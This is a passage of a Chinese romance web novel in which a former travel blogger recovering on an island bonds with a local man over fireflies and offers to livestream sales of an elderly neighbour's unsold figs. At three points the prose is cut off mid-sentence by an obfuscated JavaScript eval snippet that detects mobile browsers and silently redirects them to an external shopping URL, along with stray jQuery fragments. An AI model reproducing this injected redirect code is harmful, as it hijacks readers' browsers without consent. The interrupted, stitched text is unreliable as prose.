他一向不喜欢曝光他人隐私,尤其还是在刚被她信任的前提下。
乔老却置若罔闻,继续问,“情伤?”
乔翊有些无奈,“外公,您是被李奶奶传染了?什么时候变得那么八卦?”
“你真当我年老昏花刚才什么都没瞧见?”乔老看着他当面揭发,“你可是抱着人家进的我这小破诊所。”最后四个字尤为小心眼地加重语气。
乔翊一时语塞,他解释,“她被海胆扎了,走路不方便,我帮衬一把而已。”
乔老放着拖把哼笑一声,“这一年到头的,不管是民宿还是出海的生病受伤的客人也多了去了,也没见你这么贴心服务的,再说了,平常送人的活不都是佟川干了,怎么今天成了例外?”
乔翊气极反笑,“您明明知道民宿最近缺人手,又逢暑假好不容易有点人流量,佟川忙得跟个陀螺似的,人恨不得能拆开几头用,不然我这两天跑来跑去地是在闹着玩儿呢?”
乔老将双手背在身后,有些郑重其事,“我只是提醒你,不管那姑娘疗什么伤来的这岛,跟其他客人都无异,时间一到就会离开,她对你来说只是一位过客,而且人家能说会道,处事圆滑,那心眼一看就比你多,你可别帮衬着帮衬着到最后自己载个跟头。”
乔翊不喜欢在背后议论人,他别开脸去,看不到任何表情,却不忘调侃乔老,“您一老医生什么时候还会给人看相了?人家今天跟您头一回见面,话都没说上几句呢,您都已经瞧出名堂来了?”
乔老讳莫如深地推了推眼镜,“我这老医生,给人看了大半辈子的病,见识过人鬼善恶,交道也算打过不少,不说能媲美看相的,但也只差一步之遥,总之一句话,论心眼子,你玩不过那姑娘,还是老老实实地干好自己的分内事吧。”
乔翊知道他在担心什么,但还是顺着他的话说,“知道了。”
好在祖孙俩的日常互呛,最终在麦初的呼唤声中终结。
当乔翊再次进入推拿室,麦初已经收拾好情绪,状态恢复如初,若不是已经承满纸巾的垃圾桶暴露出了一丝破绽,用天衣无缝来形容也不为过。
当然除了她,乔翊祖孙俩演技也不错,两人都很配合地佯装做无事发生,乔老更是气定神闲地将麦初脚底的海胆刺一根根地拔了出来,伤口基本清理干净,还剩下些顽固小刺乔老让她耐心等上几天会自己分解吸收。
不过考虑到她的伤口较深刺又深,保险起见乔老还给她打了一针破伤风。
“拔出刺的地方后续会起小鼓包,过程中会发红发痒,是伤口正在修复愈合,你莫要慌张,一周以后差不多就能好了。”事后,乔老又跟她交代了几句。
麦初向乔老致谢,声称麻烦他了。
“我给你处理伤口倒是不麻烦,就是你这脚被扎太多洞,一时半会儿的好不了,走路也不大方便,恐怕要影响你在岛上后续的游玩行程了。”这点上乔老不免替她可惜。
可惜的是这夏安岛的大好风光她无法尽数领略。
麦初却说没事,她坦然道,“我也是误打误撞上了岛,没几天就走了,本来也没打算玩什么。”
她说的是实话,原本报团出海就是架不住小佟光的推销,想着反正要等女孩们一起走,不如出海打发时间,没想到刚体验了一把海上项目就一脚捅了海胆窝,这下反倒把自己搞得出行不便了。
只是乔老听着,又不明意味地朝乔翊瞧去一眼。
乔翊故意避没接他这一眼,就如同自己从重新进门到现在,麦初都在有意无意地避免跟自己视线接触一样。
不过他也能理解,谁都不愿意被人看到自己最脆弱的一面,更何况他俩目前为止只能算萍水相逢,都谈不上真正认识。
对麦初来说倒不是最狼狈一面暴露后的社死,当初她跟前公司闹翻时全网的黑稿铺天盖地,从那时起,什么面子、里子这些虚无缥缈的东西她早就不在乎了。
母亲离世后,除了姝言她几乎切断了对外的所有社交,快将自己活成一座孤岛,而刚才是她这么久以来第一次放任压抑已久的情感决堤,她很感谢乔翊能第一时间敏锐捕捉到她的情绪,给她空间来发泄,他们只是陌路相逢,他完全没必要也没义务照顾她的感受,但他还是这样做了,甚至细心地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182750|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为她创造了一个能够独自崩溃、又体面收拾残局的机会,给足她一个成年人的体面。
他们相遇只不过两三天,他却三番五次地向她伸出援手,她向来不喜欢欠人情,随着他的善意每沉一分,她就无措一次,觉得萍水相逢,却无以为报。
处理完脚上的伤,自然还是由乔翊送她回民宿。
与来的时候一样,这一路两人都相对无言,各有各的心事。
凌乱的晚风中麦初估摸着自己被吹得形象全无,好在乔翊身形宽大,还能给做所她遮挡,不然更显狼狈。
“今天,谢谢你了。”
在摩托车一个颠簸之后,麦初趁着惯性的肢体接触,贴靠在他背后轻声说道。
她没有特指哪件事,但乔翊心知肚明,于是也有来有往地回复。
“不用谢,我的分内之事。”
晚上的海风总是带些凉度的,身形单薄的麦初缩瑟在乔翊身后吸了吸鼻子,为了不让气氛跟着冷却,她又好奇地发问。
“你跟乔老师长期在这岛上,像春节这种团聚的日子是你父母他们过来,还是你跟乔老师回沪城?”
乔翊握着方向的手微微一滞,他沉默半晌,只说,“我从小跟着外公长大,那两个人从来不管我,所以对我而言,只要跟外公在一起就是团聚。”
麦初闻言只理解为他父母工作忙碌,无暇顾及他,所以照顾他的重任只能由乔老师代劳。
感觉到他不愿意多言,她也没再多问。
摩托车又开了一段,随着周围的树木花草变多,风也渐渐小了起来,蓦地,麦初发现乔翊的肩头有什么在发亮,以为是自己刚才被风吹懵逼出现了幻觉,直到凑近仔细一看,发现是一只萤火虫。
小小的虫子在月光中与海浪的气息交织下,悄然栖伏在人的肩头,它们一闪一闪,明明灭灭,仿佛用荧光诉说着这夏日的秘语,十分美好。
麦初只记得自己很小的时候在农村里见过一次萤火虫,爸爸还给她抓过一只,父女俩观察过后又放它回大自然了,后来这个生物仿佛销声匿迹,再没有在麦初的世界里重现过,如今能在夏安岛上再次遇见,她自然是感到意外的。
她忍不住唤乔翊的名字,又带着一丝生怕惊扰到萤火虫的克制。
“乔翊,你别动。”
“嗯?”
“嘘!”麦初生怕他的声音吓到它们,“有只萤火虫正在你的肩膀上,别吓到它。”
乔翊听到后便真的不动了,连摩托车的速度都被他刻意缓慢。
“喜欢萤火虫?”他只出声问她。
麦初正沉浸式观察萤火虫,想也不想地给予肯定,“嗯。”
于是摩托车停了下来,麦初正要问他为什么突然停车,乔翊却连摩托车的前灯也一并关闭,四周蓦然陷入骤暗。
“你……?”
“看前面。”
乔翊侧过身给麦初让开原本被他挡住的视线,眼前的一幕顿时令麦初惊在原地。
循路望去,道旁的树枝宛如被装饰挂满了串串闪烁的小灯,星光点点,忽明忽暗,如碎钻般摇曳生辉。更多的流萤与繁星共舞,流光交织,将整条小路辉映成一条光的河流,这份来自大自然的馈赠,也是这世间最灵动的杰作,既美得不可方物,又壮阔到令人失语。
当眼前的景象毫无预兆地撞入麦初的视线时,她有的只是无声的惊叹。
只有乔翊在她耳边轻声低语,“萤火虫一直被视为夏季风物诗,象征生命的循环与蜕变。”他目光也追随着这些自由的生命,“你知道它出现的寓意是什么吗?”
麦初摇头。
乔翊缓缓道出,“它意在告诉看到它的每个人——你微小,但你并不渺小,因为宇宙间一切光芒,都是你的亲人。”
17. 17
麦初知道他的这番话是想安慰自己,不过在经过刚才一番发泄后她现在已经没事了。
“乔翊。”她低声唤他的名字,“你知道刚才我在诊所为什么会情绪失控?”
乔翊用目光来回应,用静默作为等待。
“除了想念妈妈,我也很想念我的爸爸。”随着麦初薄唇轻启,记忆之门又被缓缓推开,“我爸爸和乔老是同行,当看着推拿室里琳琅满目的奖杯和奖状,还有那张书桌上一沓医学书,以及用纸镇压着的看了一半的书,混着着诊所里的药水味,我好像回到了小时候在爸爸书房里的感觉,很踏实也很温馨。”
童年的美好总是麦初至暗时刻的治愈剂,父母恩爱,无忧无虑,父亲每次回来都会带着一身医院的药水味,小时候会觉得刺鼻,小麦初总是将之戏称为“爸爸的味道”,只是彼时的她难以预料这一度被自己嫌弃的味道有一天也会突然消失,最终成为她遥不可及的梦。
“我从小就听他念叨,说等以后退了休估计也闲不住,到时候他就开一家小诊所,给人看看小毛小病的,既打发了时间也能让自己学了一辈子的本事继续发挥余热。只是后来,他参加一场地震救灾,在护送病人的途中被第二波地震压在了堆积如山的废墟中,救援队一直没有找到遗体,他也没能跟同行的同事们一道回家。”当往事浮现于心,这一次,麦初并没有哭,相反,她牵唇浅弯,眼底深处,也似有若无地泛起希冀微光,“其实他的遗体一直没有找到我反倒是庆幸的,因为只要一天没有见到他的遗体,我就觉得他还活着,说不定他只是被砸晕了,失忆了,被其他人救下后换个身份在另一个地方生活,也许他跟乔老师一样,在一个避世的地方开了一家他心心念念的小诊所,用他的医术帮助着当地的人。”
可说完连她自己都觉得苍白可笑。
“我甚至还一度肖想过,我用旅行博主的身份走遍这人间千里,兴许有一天,能与他再次相见,哪怕他已经不再记得我了,也没关系。”
见乔翊一直沉默不言,麦初也大梦初醒,将那不切实际的幻想通通驱散,她自嘲道,“是不是很自欺欺人?”
“没有。”乔翊注视着麦初那被萤火虫光芒所点亮的眼睛,告诉她,“其实不必害怕别离,因为只要还爱着,只要还记得想念的人们,他们一定会在某一时刻,以一个温柔的姿势拥抱你,和你重逢。”
此时,有萤火虫飞到了他们中间,这缕黑暗中不期而遇的微光,仿佛触动了她心底最柔软的地方。
他没有将她视作一个情绪无常的异类,让她得以在那间最有家感觉的地方想念父母,也是他不厌其烦地,耐心做她的听众,安静听她每一句话。
自从她踏入网络那片虚实交织的疆域,与人往来渐渐掺入了利益的考量与人情的练达,除了姝言,没有什么人会纯粹的对她好,她也早已习惯那些囿于世俗的虚与委蛇,在一次次的周旋中学会了娴熟地配合表演,可一旦有人不按套路出牌,多次向她剖开自己的真诚时,猝然直面的她反倒乱了阵脚。
这几天的相处,他们两人之间逐步建立起的信任感,让她可以在他面前讲述自己的身世与过往,甚至毫不遮掩地暴露自己最狼狈的一面,或许是这些日子里他每一个不动声色的关怀、每一次真诚的倾听,让她潜意识里早已将他归为“可以信赖的人”。
“乔翊,你有没有想过改变现状?”再次开口,麦初没有煽情,而是脱口而出一个较为现实的问题。
虽然两人迄今为止还谈不上多熟稔,甚至某种程度上还停留在一个相对陌生的阶段,但不知道为什么,她潜意识里觉得他不该困在这座小岛上。
可能是磁场契合的缘故?
画风就这样突变。
乔翊没想到这次她连流于形式的谢谢都没有了,这个突如其来的问题耐人寻味,事实上他自己也曾在多个夜深人静里思考过:到底要不要改变现状?
可最终得出的结论是:未来遥不可定,日子很难周全所有,过好当下即是最好。
他也无数次嘲笑过自己的胸无大志,习惯于得过且过地安度时日,从前是年轻气盛到只甘愿蜷缩在自我营造的舒适区,而如今,这座茧房早已筑成一座无形的高墙,他退守其中,连探出脑袋张望的勇气也没有了。
所以麦初远比他要赤诚勇敢,至少她拥有那份直面内心的坦荡,和毅然摆脱思想枷锁、坚定迈出每一步去前行的勇气。
而他只是个自困在这方寸天地的胆小鬼,这座小岛,则是他亲手画地为牢的囚笼。
“怎么,你不会是想挖我去给你当主播吧?”他甚至连正面回答她的勇气都没有,只会以玩笑的形式去逃避与搪塞。
麦初之前只跟他提过自己正在创业,没有提过具体细节,所以他会误以为她是自立门户开网红经济公司也很正常,毕竟这是很多大v解约后干的事。
“是啊,开高价挖你,把你打造成一个全新的个人IP,赚的钱可比你在这儿当民宿店小二和兼职出海领队要多得多了,你要不要考虑一下跟我签约?”麦初其实刚才问完就后悔了,她觉得自己身为一个局外人没有权利去干涉他人的选择。
既然误会了,她也顺势跳开上一个话题,将错就错地接住他的玩笑。
“那要不你直接签我外公吧,把他捧成网红诊所主理人,ip名字都有现成的捡,就叫《老人与海》,我呢,倒是可以给他当日常助理,除了给我结日常工资,我再从中抽个小比例的提成就行,你觉得怎么样?”岂料麦初不接还好,一接茬他又开始没个正行。
“主理人个头啊。”被他的话逗得哭笑不得的麦初差点没给他一拳。
“行了,你别乱动,这摩托车是我问别人借的,承载力一般,别再摔了我这一时半会儿可弄不过来轮椅。”
“我说你别老咒我行不行?”
“那你坐好。”
“我坐好了啊。”
“不过我说真的,老头的诊所主理人,你考虑一下。”
“乔翊,你够了啊。”
流光作伴,两人的打闹嬉笑与萤火的闪烁节奏相结合,这片由无数萤火虫环绕的星海,最终温柔地落下了帷幕。
由于脚受了伤,无法再参加海上项目的麦初原本就打算在民宿躺平几天,未曾想第二天一早座机响起,是小佟光的声音,他代李奶奶传达,特邀她去参观她家的无花果园。
麦初受宠若惊,没想到李奶奶的执行力是如此之强,由此可见昨晚她在诊所的话不是客套随意说说,而是发自肺腑。
她寻思着,既然李奶奶都已经热情到这个地步,自己若是执意推辞,只会显得相当的傲慢无礼,万一回头老人家真把东西打包寄过来,她反会更加过意不去,倒不如亲自去一趟,借着买卖的名义多拿几箱果子,顺便当场就把账给结了,总比真的白白占老人家便宜的强。
于是她欣然答应了这场邀约,并在小佟光的陪同下一道来到果园。
在他们出发之前,乔翊已经先行一步到了,等他们两人出现时,他都已经采摘了一箩筐,除了他,还有很多自发前来帮忙的岛民。
大家淳朴而又齐心协力,不分你我,如同家人一般。
正忙着采摘的李奶奶看到麦初来了,三下五除二地摘了一筐新鲜的果子送了过去给她尝。
“你看,我家的无花果可都是正宗青皮,你别看它外表是青色的,以为像青橘子是那种酸涩的口感,其实吃起来啊甜着呢,最甜的都能齁人嗓子。”李奶奶说着随手便掰开一个,里面的汁水随之爆出,哗啦啦地直往地上流,“这淌出来的就是果子里的蜜汁,水分充足可甜了,所以叫糖包儿,快尝尝。”
麦初赶紧接过咬下一口,真的新鲜多汁,甜润润的非常好吃,她忍不住竖起大拇指,发出赞叹。
“奶奶,这是我吃过最好吃的无花果。”
被认可了,李奶奶那叫一个骄傲,“是吧!我们家个个都流蜜,个个都这么好吃。但凡来过的客人,就没有一个不说好的。”可话说一半,她又想起什么似的,蓦然停下后叹了口气。
麦初不解其意,忙问,“奶奶,怎么了?”
李奶奶摆了摆手,又恢复了原有的神情,“你喜欢就多吃点,一定得吃尽兴了再走。”她刚刚低头的时候正好看到麦初穿着的拖鞋,这才想起她昨日才踩了海胆脚受了伤,便贴心地要去给她搬椅子坐。
“奶奶,我不坐,您去忙您的,我也来帮忙。”麦初当然不是真的来坐享其成的,她也想尽快融入其中成为劳动的一份子。
“你是我邀请来的客人,怎么能让你帮忙?再说了,园子里蚊子多,挺毒的,可别把你再咬伤了,你就坐在院子里休息休息,吹吹海风,看看海,尝尝糖包子。一会儿我再给你拿点儿我们这儿的烤干果子尝尝,也绝对比你以前吃的都要……你们沪城话怎么说的来着?”李奶奶想了半晌,蹦出两个字,“来塞!”
麦初有被她可爱到,她赶忙说,“我的朋友也没吃过这里的无花果,拜托我也给她采购几箱,反正来都来了,正好我也体验一下亲自在果园采摘的感觉。”
说起来惭愧,麦初从小到大还没感受过采摘水果的乐趣,最多就是去过新疆的葡萄园,但也是为了配合前公司的旅游宣传拍摄,都是装模作样的摆拍,并不是真正的实践。
不过刚刚那番话是她信手拈来的说辞,无非是不想让李奶奶只把她当作客人,有什么思想上的包袱。
李奶奶果然信了,“那可以的,可以的呀,你想体验的话就进去随便摘,敞开了吃,想摘多少就多少。”她说着赶紧把沾了无花果汁水的手往胸前的围裙上擦了擦,“我去给你拿件干净的采摘服,你穿上再进去,不然里面蚊子准盯着你咬。”
麦初被她的细致贴心所折服,“谢谢奶奶,麻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182751|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烦您了。”
“嗨呀,客气什么。”
就这样麦初得偿所愿地开启了她的水果采摘初体验,只是由于她是新手,无论是动作还是速度都没有乔翊那般娴熟。
只见他专注地与茂密的无花果树做着搏斗,随着每个采摘的动作,手臂上的筋腱都绽放出强有力的清晰脉络,因劳作而起的汗水沿着脊柱的沟壑淌下,浸透了皮肤上那薄薄的布料,湿漉地映出每一寸肌肉。
在他抬头擦汗的瞬间,麦初敏锐地移开视线。
“怎么样?沪上小姐,初来乍到,手摘酸了没有?”看她筐里的成果进程缓慢,单手撑在树干小憩的乔翊故作调侃。
麦初一只手插腰,回嘴,“小看谁呢,我刚入门还在摸索窍门而已。”
此刻,烈日正当头,毫不留情地炙烤着两人裸露在外的皮肤,本就因为劳作麦初有些气息混乱,再被这灼热的光线一照,更是双颊泛红,连说话间都带着几分娇软的喘息,如同在跟他撒娇。
这一刻时间仿佛在粘稠地停滞,每秒都被拉长,明明两人周围都是匆匆往来劳作的岛民,有嘈杂的人声,来回晃动的光影,可很奇妙的在乔翊眼中虚化柔焦,所有的色彩都变得模糊,唯独她最为清晰。
直到有人吆喝了一声,其余的色彩才逐步回归乔翊的视线,与明媚的她融为一体。
他弯腰从脚边拿了一瓶自己储备的矿泉水递给她,“别看果子只有小小一个,采起来也得费不少力气,你初次体验,适当休息一下吧。”
麦初还真的有点渴了,接过水仰起头咕嘟咕嘟喝了好几口。
看着其他人将装满果子的篮子一筐筐地往园子外运,她好奇地问乔翊,“这些果子后期一般都怎么销售?都有预订单了吗?”
“疫情之后原先稳定的下游客户散了不少,导致果园的订单一年比一年少,今年更是创下最低。”乔翊环视着这果实丰盛的果园,言语中也带着惋惜,“即使果园已经和所有的民宿还有沙滩合作面向游客搞联动销售,但是岛上的游客量太小,实在带不动所有果子的销售,李奶奶说今年果子还是会滞销。”
麦初闻言若有所思,她又问,“那滞销的果子会怎么处理?”
“无花果不耐储存,如果不能及时销出,李奶奶会送给附近邻居,也会拿一些去喂悬崖上的猴子,其余的只能任由它们烂在园子里。”
麦初一听急了,“这么好吃的果子怎么能烂在地里呢?明明还有很多人都没品尝过这些新鲜的美味,就像我,如果没有来到这里,都不知道这里的无花果这么好吃,个个带蜜,叫糖包儿。”
乔翊对此也无能为力,但又不得不接受现实,“农产品种植本身就面临着很多风险,除了自然天气与生产因素,市场与价格也是。”而他更惋惜的点还另有其他,“眼看果园的状态一日不如一日,李奶奶的儿子已经开始张罗着将它承包出去,准备让李奶奶离开这座岛跟他们到城里去生活,专心带孙子。”
乔翊的这番话让麦初回想起刚才李奶奶跟她交谈时欲言又止的模样,她恍然大悟,原因竟在这里。
“那李奶奶自己呢?她也愿意放弃果园离开小岛吗?”
麦初虽然与李奶奶接触时间短暂,却已经从她的一言一行中,感受到了她浸润在这片果园中的情感,包括李奶奶如此热情地邀她前来,也是想能多一个人与她分享精心呵护这片果园并取得劳动成果的喜悦。
换言之,要将这片心血承包出去,几乎与卖掉自己的孩子无异,难怪她才会在交谈甚欢时又失落难掩。
无力改变现状的乔翊仿佛已经接受了这样的结局,看起来要比麦初平静许多,“大势所趋,果园只靠现在的订单难以支撑太久,李奶奶年纪也大了,无暇顾及太多,也许这就是她与这座果园的归宿,就像这些无人可要的果子,只能默默隐于尘土。”
其实这不仅仅是果园的现状,也是岛上许多民宿的现状,包括“倦”。
“既然传统的销售模式已经濒临淘汰,不妨考虑转型,现在有很多新兴渠道可以选择,比如电商平台,直播带货。”麦初利用自己对网络的了解,诚挚地提出自己的看法。
她的话乔翊也表示认同,“以现在的情形看,转型的确势在必行,我们也帮李奶奶在电商上平台已经注册了店铺,但说实话,没有曝光效果也很一般。”说到这里,他又无可奈何地笑了笑,“而直播带货更不是能凭空打开的一条出路,如何才能从一众直播中脱颖而出?这些都是要考虑的,况且李奶奶一个手机都玩不溜的老人,让她自然地站在直播间镜头前恐怕都困难,这条路下,各种问题摆在面前都丞待解决,流量又能从何而来?”
此时正义感爆棚的麦初一个挺身而出,她仗义执言:“我啊!”
乔翊一怔。
麦初义正言辞,“我可以创造流量帮李奶奶卖果子!”
“……”
18. 18
麦初并不是说说而已,她是认真的。
“我觉得果园可以线上线下同时发展,线上做直播,定位就是农产品销售,现在国家不是在大力助农吗?无花果
不算大众水果,更需要曝光才能打开市场,我前身是旅行博主,虽然以前没有直接做过带货的直播,但也接触过不少这方面的带货达人,了解其中一些门道,趁着我现在还有一些关注度,可以试一试。线下的话我觉得在保留向下游销售的模式的同时,也可以将果园面向岛上的游客,搞现场采摘加休闲娱乐的模式,这样也算拓宽了一项岛上可供游客选择的项目,万一有人像我一样不能出海,就可以来果园进行采摘体验,采摘过程中也可以免费试吃,累了就在奶奶的院子里坐下歇歇脚,喝些茶水饮料看看海,当然,休闲娱乐这一块只是我个人的一个想法,也可以将现场采摘与其他模式相组合,比如农家乐,或者时下流行的露营等等。”
麦初一口气说了很多,乔翊也是第一次看到她侃侃而谈的样子,如果说之前他对她的认知还只是停留在固有印象中的美女网红,现在网红这个标签在这短短两三天的相处中开始逐渐褪色,一个思想独立,富有见解的女性形象,鲜活而立体地显露在他面前,也许出众的外貌才是她最不值一提的地方,在她光华明媚的外表下,那份蕴藏着的沉稳而有力的内核才是她的光芒所在。
其实她说的这两个方案他们也都考虑过,但直播带货这一块是他们从未触碰过的领域,不过曾几何时当地文旅局为了拓宽岛屿的知名度尝试过的各种渠道,其中倒是也包括了与网红合作,但最终因为报价与理念不合等原因没能达成合作,而早前像麦初这种级别的博主,更是完全不在他们这些普通老百姓的可接触范围内。
当初连小网红都尚且如此。
尽管如今她已不复两年前坐拥百万粉丝的风光,但早期积攒的名气与光环效应是无论如何不容小觑的,如果她真的发起果园的直播,他们能否承担的起背后的一系列费用都是需要深思熟虑的。
至于她所说的现场采摘与其他形式相结合的模式,他们也曾做过设想,但李奶奶的儿子始终以老人家还要照顾孙子为由,婉拒了一切有关果园全新经营模式的推进。
其实乔翊也能理解,归根结底,小岛上的大多数年轻人都已经把这座岛在永无出头之日的十字架上钉死,一门心思只想走出这里,去到外面的世界闯一闯,不愿再将时间耗费在这片一眼看不到未来的土地上。
毕竟不是所有人都如他这般安于现状,只顾沉溺于眼前的苟且。
“线下的方案我们也有想过,但李奶奶的儿子已经决定明年举家搬离小岛,处理完今年这批果子果园大概率就要跟承包商正式签订合同了。”几乎没有回旋余地的事乔翊也不想过多纠结,眼下最要紧的是如何能将果园这批滞销的果子卖掉。
“如果能将这些滞销的果子应季售出,减轻他们一家的压力,线上直播带货的确可以一试,不过之前我们整个小岛上都没有人接触过直播带货,不清楚相关流程,很多细节还需要商议后再定夺。”即使乔翊自身也很想帮李奶奶,但这件事得在商言商,从长计议,他无法越位替李奶奶做任何决定,只能尽量去做好一个传话的中间人。
麦初自然是一眼看出他的顾虑,她忍俊不禁,噗嗤一声笑了。
还在认真思忖的乔翊不解地用眼神探寻。
麦初则抛起一个果子在手上把玩,故意揶揄他,“怎么?怕我把你们坑了?”
“网络这块你是游刃有余的职业玩家,但对于我们这些门外汉而言却是一个全新且未知的领域,况且李奶奶一家本就属于保守派,对新生事物向来谨小慎微,所以我不得不多做一些考虑。”乔翊也耐心地向她做出解释。
“你这样的邻居还怪好的,第一时间想到的是李奶奶一家的感受,而不是趁机做个中间商一己私欲,从中获利,赚取差价。”可他越是正经麦初就越想逗他这个“老实人”。
“人都是相互的,自然是大家都好,才会有今天这种全岛人互帮互助的场面,如果什么都只看到一个利字,那真是连最基本的信任的都没有了。”乔翊实话实说。
岛上这种人与人之间互相信任的淳朴,也正是令麦初内心动容的地方,她不忍李奶奶一辈子的心血以一个潦草的结尾匆然收场,所以才临时决定出手帮忙。
见乔翊认真了,她也不再跟他绕弯子,如实相告,“放心吧,直播带货也有分门别类,如果我发起这场直播,是属于公益性助农直播,不会收取任何费用,只要你们能保证果子的质量和后期的售后服务,这事就能成。”
乔翊闻言却并没有因此感到窃喜,反倒是顾虑加深,因为如果是等价交换的合作,双方将自愿承担结果,钱货两讫后自然两不相欠,但她免费帮忙,最差也不过是果园如今这副滞销的局面,可一旦事成,那日后欠她的,将是一个无法轻易偿还的,巨大的人情债,以李奶奶的个性,一定不愿如此。
“你分文不取,我们却不能给你带来什么回报,况且像李奶奶这样辛勤劳作了一辈子的老人家,如果让她平白接受馈赠,她心中有愧一定不会答应的。”乔翊现在俨然一个职业经理人的模样,坚持着自己的立场。
“此言差矣。”麦初却当即反驳,“我之前说过我早被资本踢出局了,那些流量账号都归属于前公司,我们第一次在民宿的悬崖下见面时,你看到的那场直播,正是我在原账号被收走后,第一次用新账号与大家见面。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182752|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她也没有跟他掖着藏着,反而大大方方地袒露出自己的野心,“需现在的我需要起号从头再来,想要快速涨粉自然需要一些能带给我热度的事情,曾经的旅行博主突然去干助农主播,从山水之间到泥土田野,单是这样极致的转变反差感就是流量密码,这个噱头也足以吸引到网友的眼球,将话题度直接拉满,热度自然而然就来了。”
麦初别具只眼,了然于胸,“所以,你们带给我重新起号的机遇,我助你们流量把滞销的果子卖出去,大家各取所需,不是吗?”
乔翊不禁恍惚,此时的她谈吐精明,自信干脆,言行举止都透露着她商人思维下的利落与清醒,与昨天那个还在他面前卸下防备,脆弱落泪的她仿佛判若两人。
其实说到底,他从未真正的认识眼前这个女人,她就像一座在海面漂浮不定的冰山,他之前所能窥见的只不过是微小的一角,还有很多未知的面隐藏在海面之下无法看清,可越是这样充满神秘与挑战,他越是涌生出一股冲动,想要潜入海底去一探究竟,了解到她的更多面。
于是他把注意力再次返回到了她的身上,“所以这才是你所说的创业?”
“原先不是,但现在是了。”麦初落落大方地回应。
既然所有的事情在她登上这座小岛后已经朝着难以预料地方向发展了起来,那这个摆在眼前的契机也许就是上天给她的指示,她必须得牢牢抓住,因为这不仅仅会实现双赢,更有可能是她绝境翻盘的一个转机。
“怎么样?要不要和我一起见证奇迹?”
麦初沐浴在无花果甜美的香气里,向他发出她诚挚的邀请。
正如李奶奶热情地邀请她前来探访果园一样,她也以同样的热情邀请他们步入她的世界。
“你的意思我会如数地代为转达。”可只作为中间人的乔翊现在还不能给她什么明确的回复,但有一点他很清楚,到目前为止,她的确是李奶奶这座果园在落幕前唯一且最快速的一条出路了。
“那就预祝,我们合作愉快。”麦初率先朝他伸出自己的手,唇间吟吟的浅笑蕴藏着她对全局的势在必得。
乔翊凝视着她。
三天前在玻璃海悬崖下的相遇,与其说是他误进了她的镜头,不如说是她闯入了他的世界。原本在这座岛上一成不变的日升月落,因为她的突然造访,鲜活的身影就这样一点一滴渗透进他那日复一日枯燥无味的生活缝隙中,每一天都能带来不同的惊喜。
他一展眉梢,不由地对她口中的未来充满期待,同时也更加好奇,她置身的网络世界将会为这片即将凋零的果园结出怎样的“硕果”。
于是他伸出手,指尖轻滑过她的掌心,最后有力的握住。
“合作愉快。”
19. 19
只是事情的一开始,并没有想象中的那般顺利。
当晚,一群人聚集在李奶奶果园外的院子里。
“直播带货?”
李奶奶的儿子作为果园话事人之一,网络卖货这条路他也不是从来没有想过,但现在网络上的套路层出不穷,他一个纯小白,一没人脉二没路子的,实在怕一不小心就踩坑踩翻到沟里去。
“这事真的靠谱么?”他半信不信地望着乔翊。
对于他而言,小岛上突然来了一个网红,又突然在诊所里跟他家老太太偶遇,还突然说要免费给他们带货,这天底下怎么就有这么好的事恰好能被他们家撞上?
他在心底怀疑,该不会是什么新型杀猪盘给他做的局吧?
“人家小麦姑娘好心提出帮我们卖滞销的果子,你却一会儿怀疑这一会儿怀疑那的,有点不识好赖了啊你。”李奶奶来给他们倒茶水,听到自己儿子的话不免来气。
“妈我跟你说,现在外头骗子可多着呢,花样也是各种各样,他们的精准目标就是你这样目不识丁的老太太,为什么?就是瞅准了你们不懂网络又急于求成,你看看,算起来人家跟你认识才一天都不到,你就已经对她深信不疑了,说不定人家骗的就是你,一开始接近你目的就不纯,让你一点点卸下防备,这不,你已经上套了。”李奶奶儿子说着下巴往佟川那儿一抬,嘴里叼着的烟,那冲人鼻腔的味儿也一个劲地朝他和乔翊那儿散,“再说了,我特意去搜过她了,人家是个大网红没错,可她是专门做旅游这块的,就跟导游没多大区别嘛。还有稀奇的是,她吃住玩都在人佟川那里,怎么没说先给你们民宿宣传宣传,拉拉客人,你们民宿跟我这果园也就半斤和八两,等这暑假旺季一过,也是撑得了初一过不了十五的。”他眯着眼睛长吸了一口烟,吞云吐雾时意味深长地朝着乔翊和佟川二人目光来回巡睃,“而且网上还说她正在跟老东家打着官司,说不定还欠着钱。你仔细想想,一个搞旅游的不搞专业对口的事,反倒是看上了我们这快倒闭的果园,就怕这里头有猫腻啊!”
佟川作为土生土长的当地岛民,从小就跟这位邻居合不来,由于两人年龄相仿,总被街坊四邻放在一块儿比较,当年成绩优异的佟川离开小岛去念大学,后来留在沪城工作结婚生子,这人却低不成高不就的,背后就没少编排过他。后来佟川又举家回到小岛,利用自家的宅基地开起民宿,这人也没少说“大学霸还不是一样在大城市混不下去得回岛吃老本”这种风凉话。
